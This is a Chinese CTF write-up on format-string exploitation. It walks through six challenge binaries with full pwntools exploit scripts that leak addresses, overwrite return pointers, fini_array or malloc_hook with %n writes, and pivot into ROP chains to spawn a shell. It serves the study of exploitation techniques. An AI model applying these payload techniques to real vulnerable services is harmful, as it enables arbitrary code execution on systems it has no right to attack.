格式化字符串大杂烩
作者: 安全客 更新时间:2020-11-27 14:44:56 原文链接
L0ck@星盟
一直对格式化字符串的利用不是很上手,所以决定做个总结,复现一些骚题目还有一些常规题,bss段的格式化字符串和正常的栈上的格式化字符串利用,希望通过这次总结能加深对格式化字符串利用的理解。
0x1.ha1cyon-ctf level2
除了canary以外保护全开
IDA分析
无限循环的格式化字符串漏洞,不过是bss段的。
bss段或堆上的的格式化字符串利用,我们需要在栈上找一个二级指针,类似于下面这种
因为我们需要修改返回地址,但通过格式化字符串漏洞直接修改返回地址是行不通的,我们需要间接修改返回地址,如下
00:0000│ rsp 0x7fffffffde08 —▸ 0x555555554824 (main+138) ◂— jmp 0x5555555547da 01:0008│ rbp 0x7fffffffde10 —▸ 0x555555554830 (__libc_csu_init) ◂— push r15 02:0010│ 0x7fffffffde18 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax 03:0018│ 0x7fffffffde20 ◂— 0x1 04:0020│ 0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe264 ◂— 0x6f6c2f656d6f682f ('/home/lo') 有这样一条链 0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe264 ◂— 0x6f6c2f656d6f682f ('/home/lo') 我们可以将这条链指向返回地址,即修改成如下所示的链 0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffde18 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax 0x7fffffffe264和0x7fffffffde18只有后四位不同,通过格式化字符串我们可以修改0x7fffffffe264的后四位为0x7fffffffde18的后四位,这样我们就能通过修改栈上的值来修改返回地址了
首先我们泄露出libc地址和栈地址,这两个地址分别用 %7$p
和 %9$p
就能泄露
接着我们来完成上面说的修改栈链
0x7fffffffde28 —▸ 0x7fffffffdef8 —▸ 0x7fffffffe264 ◂— 0x6f6c2f656d6f682f ('/home/lo')
这条链在格式化字符串中是 %9
我们通过如下payload来修改它的指向
payload = "%"+str(stack&0xffff)+"c"+"%9$hnxxxx\x00"
修改完成后如下
这样栈里面就存在了指向返回地址的二级指针,我们只要修改 00f0
处栈所指向的值就能修改返回地址了。
由于返回地址和onegadget地址只有后五位不一样,所以我们只需要通过格式化字符串修改返回地址得后三个字节即可,不用全部写入。
00f0的栈在格式化字符串中的位置是 %35
,我们第一次修改两字节,也就是用 %35$hn
进行写入,payload如下
payload = "%"+str(onegadget & 0xffff)+"c"+"%35$hnxxxx\x00"
修改后如下所示
接着我们来修改剩下的两字节。
我们需要再次修改 0020
处的栈链,使其偏移四位,即现在是 0x7ffe5519af48
,我们将其修改为 0x7ffe5519af4a
,这样就能够修改后四位的值,payload为
payload = "%"+str(stack&0xffff+2)+"c"+"%9$hnxxxx\x00" #因为是以字节为单位偏移,所以+2就是偏移两字节,即偏移四位
修改了偏移之后就可以继续修改%35的栈值,进行最后的修改
payload = "%"+str((onegadget >> 16) & 0xffff)+"c"+"%35$hnxxxx\x00"
修改完成后栈如下
返回地址已经被修改为了onegadget,然后输入66666666退出循环就能触发onegadget,完整exp如下
#!/usr/bin/python from pwn import * context.log_level='debug' io = process("./level2") elf = ELF('level2') libc = ELF('libc-2.27_x64.so') payload = "%6$p%7$p%9$p" io.send(payload) pro_base = int(io.recv(14), 16)-0x830 libc_base = int(io.recv(14), 16)-libc.symbols['__libc_start_main']-231 stack = int(io.recv(14), 16)-232 log.success('pro_base => {}'.format(hex(pro_base))) log.success('libc_base => {}'.format(hex(libc_base))) log.success('stack => {}'.format(hex(stack))) onegadget = libc_base+0x4f322 offset0 = stack & 0xffff offset1 = onegadget & 0xffff offset2 = (onegadget >> 16) & 0xffff log.success('onegadget => {}'.format(hex(onegadget))) log.success('offset0 => {}'.format(hex(offset0))) log.success('offset1 => {}'.format(hex(offset1))) log.success('offset2 => {}'.format(hex(offset2))) #gdb.attach(io) payload = "%"+str(offset0+8)+"c"+"%9$hnxxxx\x00" io.sendline(payload) io.recvuntil("xxxx") payload = "%"+str(offset1)+"c"+"%35$hnxxxx\x00" io.sendline(payload) io.recvuntil("xxxx") payload = "%"+str(offset0+10)+"c"+"%9$hnxxxx\x00" io.sendline(payload) io.recvuntil("xxxx") payload = "%"+str(offset2)+"c"+"%35$hnxxxx\x00" io.sendline(payload) io.recvuntil("xxxx") io.sendline("66666666\x00") io.interactive()
0x2.De1ta ctf-unprintable
这题可以说是上一题的升级版
首先检查保护
IDA分析
程序首先给我们了栈地址,然后关闭标准输出,只有一次格式化字符串利用机会,之后就通过exit函数退出
由于第一次printf调用栈中不存在可利用的数据
根据上一题修改返回地址的利用,我们无法通过第一次printf直接修改返回地址,因此需要利用别的办法
在exit函数中会调用_dl_fini函数
其中的 l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
指向 fini_array
段的地址,而 l->l_addr
为0,所以 l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
=0x600DD8
在printf函数下断点,此时栈空间如下
这个画框的实际上就是 l->l_addr
在后续调用_dl_fini的过程中,有如下语句
_dl_fini
+788这条语句将[rbx]和r12相加,rbx里面存储的是fini_array的地址,rbx里面存储着的正是 l->l_addr
,也就是调用printf时栈中 _dl_init
+139上一行的值。因此我们可以通过格式化字符串修改 l->l_addr
的值,使 l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
偏移到buf中,然后在buf中伪造fini_array里面的函数为main函数,这样就能够再次执行程序。
l->l_addr
在printf中的偏移为%26,buf的地址为 0x601060
,fini_array的地址是 0x600dd8
,相差0x288,payload如下
payload = "%"+str(0x298)+"c%26$hn" payload = payload.ljust(0x10,'\x00')+p64(0x4007A3)
因为我们输入的格式化字符要占一定空间,所以伪造的fini_array还需要往后挪一挪。伪造的fini函数直接从main函数中的read函数开始执行,这是为了避免从头执行会再一次初始化栈空间,这样我们做的就是无用功。
看到第二次执行printf时的栈空间
此时我们就可以直接通过格式化字符串来修改返回地址了
接下来的利用思路就是在buf中写入ROP链,rop用来修改stderr为onegadget,格式化字符串用来修改printf函数的返回地址为pop rsp,将返回地址的下一行修改为rop链的起始地址,这样当printf函数结束时就会执行rop链。
用到的gadget如下
pop_rsp = 0x000000000040082d #0x000000000040082d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret csu_pop = 0x000000000040082A ''' .text:000000000040082A pop rbx .text:000000000040082B pop rbp .text:000000000040082C pop r12 .text:000000000040082E pop r13 .text:0000000000400830 pop r14 .text:0000000000400832 pop r15 .text:0000000000400834 retn ''' csu_call = 0x0000000000400810 ''' .text:0000000000400810 mov rdx, r13 .text:0000000000400813 mov rsi, r14 .text:0000000000400816 mov edi, r15d .text:0000000000400819 call ds:(__frame_dummy_init_array_entry - 600DD0h)[r12+rbx*8] ''' #万能gadget stderr_ptr_addr = 0x0000000000601040 stdout_ptr_addr = 0x0000000000601020 adc_p_rbp_edx = 0x00000000004006E8 ''' .text:00000000004006E8 adc [rbp+48h], edx .text:00000000004006EB mov ebp, esp .text:00000000004006ED call deregister_tm_clones .text:00000000004006F2 pop rbp .text:00000000004006F3 mov cs:completed_7594, 1 .text:00000000004006FA rep retn '''
adc [rbp+48h], edx
这一条gadget可以用来的意思是将edx的值和[rbp+0x48]的值相加,并将结果存储在rbp+0x48中,我们可以将edx的值设置为onegadget和 _IO_2_1_stderr
的地址的差,将rbp设置为 stderr_ptr_addr-0x48
,于是通过这条指令就可以将 _IO_2_1_stderr
改写为onegadget。
现在开始完整的讲述利用流程,在第二次printf中,栈空间如下
00:0000│ rsp 0x7ffdcc6a2410 —▸ 0x4007c6 (main+160) ◂— mov edi, 0 01:0008│ 0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test r13d, r13d 02:0010│ r14 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298 03:0018│ 0x7ffdcc6a2428 —▸ 0x7fb6ffb1a700 —▸ 0x7ffdcc763000 ◂— jg 0x7ffdcc763047 04:0020│ 0x7ffdcc6a2430 —▸ 0x7fb6ffafc000 —▸ 0x7fb6ff529000 ◂— jg 0x7fb6ff529047 05:0028│ r10 0x7ffdcc6a2438 —▸ 0x7fb6ffb199d8 (_rtld_global+2456) —▸ 0x7fb6ff8f3000 ◂— jg 0x7fb6ff8f3047 06:0030│ 0x7ffdcc6a2440 —▸ 0x7ffdcc6a2540 —▸ 0x4007d0 (__libc_csu_init) ◂— push r15 07:0038│ 0x7ffdcc6a2448 —▸ 0x7fb6ff903b74 (_dl_fini+132) ◂— mov ecx, dword ptr [r12] 08:0040│ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298 09:0048│ 0x7ffdcc6a2458 ◂— 0x3000000010 0a:0050│ 0x7ffdcc6a2460 —▸ 0x7ffdcc6a2530 —▸ 0x7ffdcc6a2620 ◂— 0x1 0b:0058│ 0x7ffdcc6a2468 —▸ 0x7ffdcc6a2470 —▸ 0x7ffdcc763280 ◂— add byte ptr ss:[rax], al /* '6' */ 0c:0060│ 0x7ffdcc6a2470 —▸ 0x7ffdcc763280 ◂— add byte ptr ss:[rax], al /* '6' */ 0d:0068│ 0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298 0e:0070│ 0x7ffdcc6a2480 ◂— 0x400001000 0f:0078│ 0x7ffdcc6a2488 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298 10:0080│ 0x7ffdcc6a2490 ◂— 0x400000000 11:0088│ 0x7ffdcc6a2498 —▸ 0x7fb6ffb19048 (_rtld_global+8) ◂— 0x4 12:0090│ 0x7ffdcc6a24a0 —▸ 0x7ffdcc6a2410 —▸ 0x4007c6 (main+160) ◂— mov edi, 0
通过0090的栈我们可以修改返回地址,使程序重复读取,我们还需要将0008处的栈修改为rop链的存储地址
01:0008│ 0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test r13d, r13d 08:0040│ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298 0d:0068│ 0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298 看到上面这三条栈链,类似于第一题的做法,我们将 0d:0068│ 0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2420 —▸ 0x7fb6ffb1a168 ◂— 0x298 修改为 0d:0068│ 0x7ffdcc6a2478 —▸ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test r13d, r13d 0040处的栈就变成了 08:0040│ 0x7ffdcc6a2450 —▸ 0x7ffdcc6a2418 —▸ 0x7fb6ff903e27 (_dl_fini+823) ◂— test r13d, r13d 这样我们就能通过修改0040处的栈来修改0008处的栈值了
payload如下
payload = '%' + str(0xA3) + 'c%23$hhn'#修改返回地址为0x4007a3 payload += '%' + str((stack-0xa3)&0xff) + 'c%18$hhn'#修改0068得栈链指向0008处,这里减a3得原因是因为前面已经输出了0xa3个字节了,如果不减的话%18处得栈的后四位就会被修改为stack&0xffff+0xa3
修改之前如下
修改之后如下
可以看到返回地址已经被修改为了0x4007a3,栈链也修改成功
下一步继续修改0008处的值,payload如下
stack = stack+2 payload = '%' + str(0xA3) + 'c%23$hhn'#修改返回地址 tmp1 = (stack-0xa3)&0xff payload += '%' + str(tmp1) + 'c%18$hhn'#修改0068处的栈链 tmp2 = tmp1+0xa3 payload += '%' + str((addr1-tmp2)&0xffff) + 'c%13$hn'#修改0008处栈的值
修改前
修改后
可以看到0008处栈的值的后四位被修改为了rop链存放地址的后四位
接下来继续修改,payload如下
stack = stack+2 payload = '%' + str(0x60) + 'c%13$hn' payload += '%' + str(0xA3-0x60) + 'c%23$hhn' tmp1 = (stack-0xa3)&0xff payload += '%' + str(tmp1) + 'c%18$hhn'
修改后如下
接下来是最后一次payload,要将0008处前面的0x7fec清零,修改返回地址为pop rsp的地址,还要将rop链写入
payload = '%13$hn' payload += '%' + str(pop_rsp&0xffff) + 'c%23$hn' payload = payload.ljust(0x200,'\x00') payload += rop
修改完成后如下
返回地址已经被修改为了pop rsp,rop链地址也修改完了
顺便说一下0008处的地址为什么是0x601248,我们设置的rop链存放的位置是0x601060,相对于buf的起始地址为0x200,而pop rsp的完整指令如下 0x000000000040082d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
,除了将0x601248 pop到rsp,还要pop三个值到三个寄存器中,所以我们pop到rsp的地址需要相对于存放rop链的地址往高处空出3*8个字节,留给r13,r14和r15。
完整exp如下(来自于 四道题看格串新的利用方式 )
from pwn import * p = process("./de1ctf_2019_unprintable",env={'LD_PRELOAD':'./libc-2.23.so'}) libc = ELF("./libc-2.23.so") #获取stack地址,并计算出要修改的地址 p.recvuntil("0x") stack = int(p.recv(12),16)-0x110-8 print hex(stack) #劫持l_addr,从而在buf中伪造fini_array,再一次读并输出格式化字符串 payload = "%"+str(0x298)+"c%26$hn" payload = payload.ljust(0x10,'\x00')+p64(0x4007A3) p.send(payload) sleep(1) pop_rsp = 0x000000000040082d csu_pop = 0x000000000040082A csu_call = 0x0000000000400810 stderr_ptr_addr = 0x0000000000601040 stdout_ptr_addr = 0x0000000000601020 one = [0x45226,0x4527a,0xf0364,0xf1207] one = [0x45216,0x4526a,0xf02a4,0xf1147] one_gadget = one[3] offset = one_gadget - libc.sym['_IO_2_1_stderr_'] adc_p_rbp_edx = 0x00000000004006E8 rop_addr = 0x0000000000601260 tmp = stderr_ptr_addr-0x48 #利用adc将stderr修改为one_gadget rop = p64(csu_pop) rop += p64(tmp-1) #rbx rop += p64(tmp) #rbp rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12 rop += p64(offset + 0x10000000000000000) #r13 rop += p64(adc_p_rbp_edx) #r14 rop += p64(0) #r15 rop += p64(csu_call) #call onegadget rop += p64(csu_pop) rop += p64(0) #rbx rop += p64(1) #rbp rop += p64(stderr_ptr_addr) #r12 rop += p64(0) #r13 rop += p64(0) #r14 rop += p64(0) #r15 rop += p64(csu_call) rop_addr = rop_addr-0x18 addr1 = rop_addr&0xffff+0x10000 addr2 = (rop_addr>>16)&0xffff+0x10000 addr3 = (rop_addr>>32)&0xffff+0x10000 #0 劫持printf的返回地址,并将指针指向返回地址的下一地址,方便后面迁栈 payload = '%' + str(0xA3) + 'c%23$hhn' payload += '%' + str((stack-0xa3)&0xff) + 'c%18$hhn' p.send(payload) sleep(1) #1-2为迁栈过程,即不断劫持printf的返回地址,并依次将下一地址修改为指向buf上存放rop串处,并且最终将返回地址改为pop rsp,从而执行rop串 #1 stack = stack+2 payload = '%' + str(0xA3) + 'c%23$hhn' tmp1 = (stack-0xa3)&0xff payload += '%' + str(tmp1) + 'c%18$hhn' tmp2 = tmp1+0xa3 payload += '%' + str((addr1-tmp2)&0xffff) + 'c%13$hn' p.send(payload) sleep(1) #2 stack = stack+2 payload = '%' + str(0x60) + 'c%13$hn' payload += '%' + str(0xA3-0x60) + 'c%23$hhn' tmp1 = (stack-0xa3)&0xff payload += '%' + str(tmp1) + 'c%18$hhn' p.send(payload) sleep(1) #3 继续将返回地址的下一地址修改为指向buf上存放rop串处,并且最终将返回地址改为pop rsp,从而执行rop串 payload = '%13$hn' payload += '%' + str(pop_rsp&0xffff) + 'c%23$hn' payload = payload.ljust(0x200,'\x00') payload += rop #gdb.attach(p,'b *0x4007C1') p.send(payload) sleep(1) #重新获取shell,并恢复stderr p.sendline("sh >&2") p.interactive()
这里再说一下rop链的构造
rop = p64(csu_pop) rop += p64(tmp-1) #rbx rop += p64(tmp) #rbp rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12 rop += p64(offset + 0x10000000000000000) #r13 rop += p64(adc_p_rbp_edx) #r14 rop += p64(0) #r15 rop += p64(csu_call)
其实我一开始不太明白 rbx
为什么要设置为 stderr_ptr_addr-0x48-1
,还有 r12
和 r13
的设置,动调加思考之后才明白。
由于在csu中最终要调用这条指令
call qword ptr [r12+rbx*8]
而我们要利用这条指令调用 0x4006E8
处的指令,因此[r12+rbx*8]需要为 0x4006E8
。我们的rop链的起始存储地址为0x601260,向下依次+8字节地址, adc_p_rbp_edx
这条gadget存储在 0x601088
的位置。
r12+rbx*8
= rop_addr + 0x8 * 6 - tmp * 8+8*(tmp-1)
= 0x601260+0x30-0x600ff8*8+8\*0x600ff7
,从数学计算上来看这个式子确实等于0x601088,但这是因为我们自动将其化简得来的,在计算机中则会先计算 rop_addr + 0x8 * 6 - tmp * 8
这个式子,就会得到一个负数,在计算机中负数是以补码表示的,会算得这个结果 FFFF FFFF FD5F 92D0
,因此我们加上0x10000000000000000把前面的ff给去掉。至于r13,会被pop到rdx, offset = one_gadget - libc.sym['_IO_2_1_stderr_']
是一个负数,同样需要 +0x10000000000000000
来把前面的ff清0.
这题就到此为止,受益良多的一题
0x3.西湖论剑-noleakfmt
这题在某种程度上又可以看成上一题的升级版
检查保护
IDA分析
这题和上一题的区别在于没有stderr,但可以无限输入。
由于没有stderr,所以我们不能像上一题那样直接改stderr为onegadget,我们要使程序能够重新输出以获得libc,因此需要修改 _IO_2_1_stdout
结构体中的fileno成员为2,然后就能重新输出,之后再修改malloc_hook的值为onegadget,通过输入大量字符来触发onegadget。
在printf函数栈的上方存在着 _IO_2_1_stdout
的地址,我们可以通过抬栈使 _IO_2_1_stdout
落到printf函数栈中
在libc_start_main函数中有如下指令
0x00007ffff7a2d750 <+0>: push r14 0x00007ffff7a2d752 <+2>: push r13 0x00007ffff7a2d754 <+4>: push r12 0x00007ffff7a2d756 <+6>: push rbp 0x00007ffff7a2d757 <+7>: mov rbp,rcx 0x00007ffff7a2d75a <+10>: push rbx 0x00007ffff7a2d75b <+11>: sub rsp,0x90
可以将栈抬高0x90
抬高0x90之后的printf函数栈空间是能够包含 _IO_2_1_stdout
的,两者栈的距离小于0x90
确定好目标之后我们要来修改printf的返回地址了,由于__libc_start_mian函数存在于start函数的调用链中,所以我们可以将返回地址修改为start函数。
首先像上面两题一样,我们先修改栈链,使得可以通过格式化字符串修改返回地址,将返回地址修改为start,由于start地址为0x7b0,我们一次写入两字节,会把倒数第四位清0,开启了pie,所以有1/16的几率修改成功。成功修改返回地址为start之后就会抬栈,接下来再故技重施,修改栈链,并且将stdout地址的后两位修改为0x90,从而修改fileno成员,使stdout重新输出,然后再修改malloc_hook为onegadget就好,再通过printf输出大量字符来触发onegadget就行(不想写了,后续利用和上一题一样的方式,阿巴阿巴阿巴),exp如下
from pwn import * context.log_level='debug' elf=ELF('./noleakfmt') libc=ELF('./libc-2.23.so') start=0x7b0 onegadget=[0x45226,0x4527a,0xf0364,0xf1207] def pwn(): io.recvuntil("gift : 0x") stack=int(io.recv(12),16) log.success('stack => {}'.format(hex(stack))) payload='%'+str((stack-0xc)&0xffff)+'c%11$hn' io.sendline(payload) sleep(0.1) try: payload='%'+str(start)+'c%37$hn' io.sendline(payload) except : io.close() else: sleep(0.1) payload='%'+str((stack-0x54)&0xffff)+'c%10$hn' io.sendline(payload) sleep(0.1) payload='%'+str(0x90)+'c%36$hhn' io.sendline(payload) sleep(0.1) payload='%'+str(0x2)+'c%26$hhn' io.sendline(payload) sleep(0.1) payload='%9$p' io.sendline(payload) io.recvuntil('0x') libc_base=int(io.recv(12),16)-libc.symbols['__libc_start_main']-240 log.success('libc_base => {}'.format(hex(libc_base))) one_gadget=libc_base+onegadget[3] log.success('one_gadget => {}'.format(hex(one_gadget))) malloc_hook=libc_base+libc.symbols['__malloc_hook'] log.success('malloc_hook => {}'.format(hex(malloc_hook))) sleep(0.1) payload='%'+str(malloc_hook&0xffff)+'c%36$hn' io.sendline(payload) sleep(0.1) payload='%'+str(one_gadget&0xffff)+'c%26$hn' io.sendline(payload) sleep(0.1) payload='%'+str((malloc_hook+2)&0xff)+'c%36$hhn' #gdb.attach(io) io.sendline(payload) sleep(0.1) payload='%'+str((one_gadget>>16)&0xff)+'c%26$hhn' io.sendline(payload) sleep(0.1) io.sendline('%99999c') io.sendline('exec 1>&2') io.interactive() if __name__ == "__main__": while True: try: io=process('./noleakfmt') pwn() except: io.close() ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf0364 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1207 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
接下来再来道偏一点的格式化字符串知识点利用
0x4.网鼎杯白虎组-quantum_entanglement
检查保护
IDA分析
然而有问题
看到0x8048998
scanf函数,f5看看scanf反编译成什么样了
龟龟,怎么这么多参数,不对劲,按y改一下参数
改完之后就能反编译main了
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+0h] [ebp-ECh] int *buf; // [esp+4h] [ebp-E8h] int *addr; // [esp+8h] [ebp-E4h] int fd; // [esp+Ch] [ebp-E0h] int v8; // [esp+10h] [ebp-DCh] char format; // [esp+18h] [ebp-D4h] char v10; // [esp+7Ch] [ebp-70h] unsigned int v11; // [esp+E0h] [ebp-Ch] int *v12; // [esp+E4h] [ebp-8h] v12 = &argc; v11 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); buf = (int *)mmap(0, 4u, 3, 34, -1, 0); addr = (int *)mmap(0, 4u, 3, 34, -1, 0); fd = open("/dev/random", 0); if ( fd < 0 ) { perror("/dev/urandom"); exit(1); } read(fd, buf, 4u); read(fd, addr, 4u); *buf &= 0xCAFEBABE; *addr &= 0xBADBADu; mprotect(buf, 4u, 1); mprotect(addr, 4u, 1); close(fd); v4 = *buf; v8 = *addr; fwrite("FirstName: ", 1u, 0xAu, stdout); __isoc99_scanf((int)"%13s", (int)&format); fwrite("LastName: ", 1u, 9u, stdout); __isoc99_scanf((int)"%13s", (int)&v10); log_in(&format, &v10); /* int __cdecl log_in(char *format, char *a2) { fwrite("Welcome my Dear ", 1u, 0x10u, stdout); fprintf(stdout, format, "%s"); fprintf(stdout, a2, "%s"); return 0; } */ sleep(3u); if ( v8 != v4 ) exit(1); system("/bin/sh"); return 0; }
程序逻辑就是mmap出两块4字节的内存,然后分别往里面读入4字节的随机数,然后将两个随机数分别与上 0xCAFEBABE
和 0xBADBAD
,接着再接收两次13字节的输入,作为参数传入log_in函数,log_in函数之后对v8和v4进行比较,如果相等则执行system(“/bin/sh”)
在fprintf函数中存在格式化字符串漏洞
这里需要用到一个新的知识点
%*X$c%Y$n
会把栈中偏移X处的值赋给栈中偏移Y处的指针指向的地址
在执行fprintf的时候站空间如下
在0055的栈空间出残留着第一个随机数地址的后四位,0050的栈空间是第二个随机数,它们的相对偏移如下
但是因为在fprintf函数中,格式化字符串并不是第一个参数,是第二个,和printf函数有所不同,所以这里fprintf函数格式化字符串的偏移都需要-1
这题的思路依然是在栈中找栈链,然后将栈链中的一条链的后四位修改成第一个随机数地址的后四位,然后再修改第一个随机数的值为第二个随机数,找到如下这条链
exp如下
from pwn import * context.log_level='debug' io=process('./quantum_entanglement') elf=ELF('./quantum_entanglement') payload1='%*19$c%44$hn' #将%44位置处的栈链修改到指向第一个随机数 payload2='%*18$c%118$n' #一次性将第二个随机数写入到第一个随机数的地址 io.recvuntil('FirstName:') io.sendline(payload1) #gdb.attach(io) io.recv() io.sendline(payload2) io.interactive()
修改栈链后栈空间如下
考察这个知识点的题目还有ciscn2020华南分赛区same和MidnightsunCTF Quals 2020 pwn4,就不多说了
再氵两道题吧,首先是一道强网杯的Siri
0x5.强网杯 siri
检查保护
IDA分析
再sub_1212函数中存在格式化字符串漏洞
这题和上面的题目比起来很简单了,主要是讲一下构造payload
格式化字符串在栈上,直接改返回地址或者malloc_hook为onegadget就行
首先泄露libc和stack地址
泄露这两个地方的值得到栈地址和libc地址,函数的返回地址为rbp下方的那个值,所以返回地址为泄露的栈地址-0x118
我们输入的值在这个地方
得到对应的偏移为%49
首先来试第一种方法,修改返回地址
根据格式化字符串修改内存的用法:%Xc%Y$hn(hhn),其中X为要写入的字节数,Y为偏移量。在64位格式化字符串漏洞利用中,要写入的地址一般都是放在最后面,所以Y要根据要写入地址的偏移量来设置。而写字节一次性可以写4字节,2字节和1字节,一般选用一次写入2字节和1字节的,一次写入4字节的话要返回值太多,本地可以勉强接受,远程肯定会崩掉。
先来讲下一次性写入两字节的payload的是如何构造的。首先返回地址为6字节长,因为onegadget和返回地址的值所有字节都不相同,所以需要全部修改,-一次改2字节共需要修改3次,这样就有8*3=0x18字节的长度,三个返回地址一次放在payload的最后面。printf函数除了用户输入的数据还会在前面输出 >>> OK, I'll remind you to
,长度为27,所以在构造pyload的过程中需要减27,还有用户输入的数据是和 Remind me to
拼接在一起的,长度为13,最后payload对齐的时候需要-13再对齐。payload构造如下:
write_size=0 offset=55 #offset根据payload对齐的字节来决定 payload='' for i in range(3):#一共三次,每次修改两字节 num=(onegadget>>(16*i))&0xffff#每次将onegadget右移两字节 num-=27#>>> OK, I'll remind you to 的长度为27 if num>write_size&0xffff:#如果这一次要写入的字节数大于已经写入的字节数,只需要写入num和write_size之差的字节数即可,因为 payload+='%{}c%{}$hn'.format(num-(write_size&0xffff),offset+i)#前面已经写入了write_size个字节,再加上差值就能 write_size+=num-(write_size&0xffff) #写入num个字节了 else:#如果本次要写入的字节数小于已经写入的字节数,那么我们是不能直接写入num个字节的,可以理解为溢出了,比如已经写入了0xffff个字节,而本次要写入0xeeee个字节,”超额“写入了,这个时候就需要写入负数,四字节的最大值为0xffff,可以理解为0x10000为0,0-0xffff得到一个负数-0xffff,然后再加上0xeeee得到差值-0x1111。 payload+='%{}c%{}$hn'.format((0x10000-(write_size&0xffff))+num,offset+i) write_size+=0x10000-(write_size&0xffff)+num payload=payload.ljust(0x38-13,'a')#八字节对齐 for i in range(3): payload+=p64(rip+i*2)#将存储着返回地址的栈地址放到payload的最末尾,每次加2
生成好的payload在printf栈中
printf函数执行后
返回地址已经被修改
再来看看一次修改一字节的payload生成,实际上就是把0x10000改成0x100,$hn改成$hhn,payload对齐字节要更多以及偏移量要变化
write_size=0 offset=60 payload='' for i in range(6): num=(onegadget>>(8*i))&0xff num-=27 if num>write_size&0xff: payload+='%{}c%{}$hhn'.format(num-(write_size&0xff),offset+i) write_size+=num-(write_size&0xff) else: payload+='%{}c%{}$hhn'.format((0x100-(write_size&0xff))+num,offset+i) write_size+=(0x100-(write_size&0xff))+num payload=payload.ljust(0x60-13,'a') for i in range(6): payload+=p64(rip+i)
此时的payload在栈空间中
修改完后
改malloc_hook和改返回地址是一样的,只需要把最后的地址换成malloc_hook的地址就行
还有一种方法就是修改main函数的返回地址
但因为main函数在while死循环里,所以我们还需要使main函数跳出循环
在IDA的graph view界面里我们可以看到代码块都走向了同一处
然后又会回到main函数开头,所以我们需要利用格式化字符串修改程序不跳转到这里,而是直接结束main函数
在执行完格式化字符串所在的函数后,执行的下一条指令如下
在栈中是返回地址
我们将返回地址的最后两位修改为leave ret的后两位,使其跳转到leave ret
所以一共分两步,第一步修改main函数返回地址为onegadget,第二步修改printf函数返回地址为leave ret
for i in range(6): num=(onegadget>>(8*i))&0xff num-=27 if num>write_size&0xff: payload+='%{0}c%{1}$hhn'.format(num-(write_size&0xff),offset+i) write_size+=num-(write_size&0xff) else: payload+='%{0}c%{1}$hhn'.format((0x100-(write_size&0xff))+num,offset+i) write_size+=(0x100-(write_size&0xff))+num payload=payload.ljust(0x60-13,'a') for i in range(6): payload+=p64(main_ret+i) siri(payload) siri('aaaa') payload='%'+str(0xc1-27)+'c%61$hhn' payload=payload.ljust(0x5f-13,'a') payload+=p64(rip) siri(payload)
第一次printf后main函数返回地址已经修改为了onegadget
第二次printf后pintf函数返回地址被修改成功
直接返回执行onegadget
0x6.SWPUCTF_2019_login
检查保护
got表可改
IDA分析
存在格式化字符串漏洞,不过格式化字符串在bss段上,最多能输入0x32个字节
因为输入wllmmllw能够退出程序,所以考虑修改main函数的返回地址为onegadget
通过%6$p和%15$p泄露栈地址和libc地址
然后修改005c处的栈链指向main函数的返回地址,也就是0050处
修改之前
修改之后
然后就可以修改mian函数的返回地址了,onegadget和返回地址有三个字节不同,所以需要先修改两字节,然后再将栈链+2,继续修改剩下的一字节
exp如下:
from pwn import * context.log_level = 'debug' io = process("./SWPUCTF_2019_login") libc=ELF('./libc-2.27_x86.so') io.sendlineafter("name: ", 'a') payload = '%6$p-%15$p' io.sendlineafter("password: ", payload) io.recvuntil("0x") ret_addr = int(io.recv(8), 16)+36 io.recvuntil("0x") libc_base = int(io.recv(8), 16)-libc.symbols['__libc_start_main']-241 onegadget=libc_base+0x3d0e0 log.success('ret_addr => {}'.format(hex(ret_addr))) log.success('libc_base => {}'.format(hex(libc_base))) log.success('onegadget => {}'.format(hex(onegadget))) payload='%'+str(ret_addr&0xffff)+'c%22$hn' #gdb.attach(io) io.sendlineafter("Try again!\n", payload) payload='%'+str(onegadget&0xffff)+'c%59$hn' io.sendlineafter("Try again!\n", payload) payload='%'+str((ret_addr+2)&0xff)+'c%22$hhn' io.sendlineafter("Try again!\n", payload) payload='%'+str((onegadget>>16)&0xffff)+'c%59$hhn' io.sendlineafter("Try again!\n", payload) io.sendlineafter("Try again!\n", 'wllmmllw') io.interactive() ''' 0x3d0d3 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x3d0d5 execve("/bin/sh", esp+0x38, environ) constraints: esi is the GOT address of libc 